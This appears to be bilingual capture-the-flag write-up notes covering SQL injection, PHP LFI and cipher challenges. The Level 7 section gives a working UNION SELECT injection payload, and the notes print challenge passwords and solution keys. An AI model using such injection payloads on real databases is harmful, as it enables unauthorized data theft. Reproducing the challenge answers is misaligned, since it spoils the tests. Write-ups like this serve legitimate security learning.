MySQL Authentication Bypass II. Same as MySQL I, but with an
additional password hash check. Your mission: Login yourself as admin.
MySQL 认证绕过第二版。与 MySQL I 相同,但增加了密码哈希校验。目标:以
admin 身份登录。
A simple monoalphabetic substitution cipher. The plaintext is a fixed
30-word sentence; only the password word (position 21, 12 letters) is
dynamic per session. 简单的单表替换密码。明文是一个固定的 30
词句子,只有第 21 个词(12 个字母)是每 session 动态变化的。
1 2 3 4 5 6
Oh dear, I guess you have cracked the two caesar cryptos... This one is more difficult. Although a simple substitution is easily cracked... Again the characters are limited to A-Z... But I think I can come up with a 256 version again.
$ ./target/release/subsolve "SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ" Score: -567.73 (quadgram) ───────────────────────────────────────────────────────────────── by the almighty god you can read this my friend iam impressed very well done your solution key is pn nb nf once oi this little challenge was not too hard was it ───────────────────────────────────────────────────────────────── alt 2 (q: -1549.27): by the almighty god you can read this my friend i am impressed very well done yo... alt 3 (q: -1557.21): by the almighty god you can read this my friend iam impressed very well done you...
bin_str = "01010100 01101000 ..." chars = [chr(int(b, 2)) for b in bin_str.split()] print(''.join(chars)) # This text is 7-bit encoded ascii. Your password is ***********.
I have written another include system for my dynamic webpages, but it
seems to be vulnerable to LFI. 一个 PHP LFI 挑战,利用 PHP
松散比较(type juggling)绕过 switch 限制。
SELECT news.*, text.text, text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE'%$input%'OR text.title LIKE'%$input%')
$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的
" 做 quote-balancing:
payload 的 "(第 1 列)在 MySQL
默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括
OR text.title LIKE 分支),直到第二次
union select 后的 "
才闭合。('(第 4 列)和模板残留的 %' 拼接成
('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT
返回 4 列。
id=3 是 google 新闻在表中的条目 ID(通过枚举
text.title 确定)。
1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('
返回 autor:TestUserforg00gle
970cecc0355ed85306588a1a01db4d80
Level 8 密码:or_so_i'm_told
Level 8 — SQL-Injection
目标:获取 admin 的密码
用户信息编辑页面,注入点在 email 字段(没有转义)。
SQL 为 UPDATE 语句:
1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input'WHERE id=1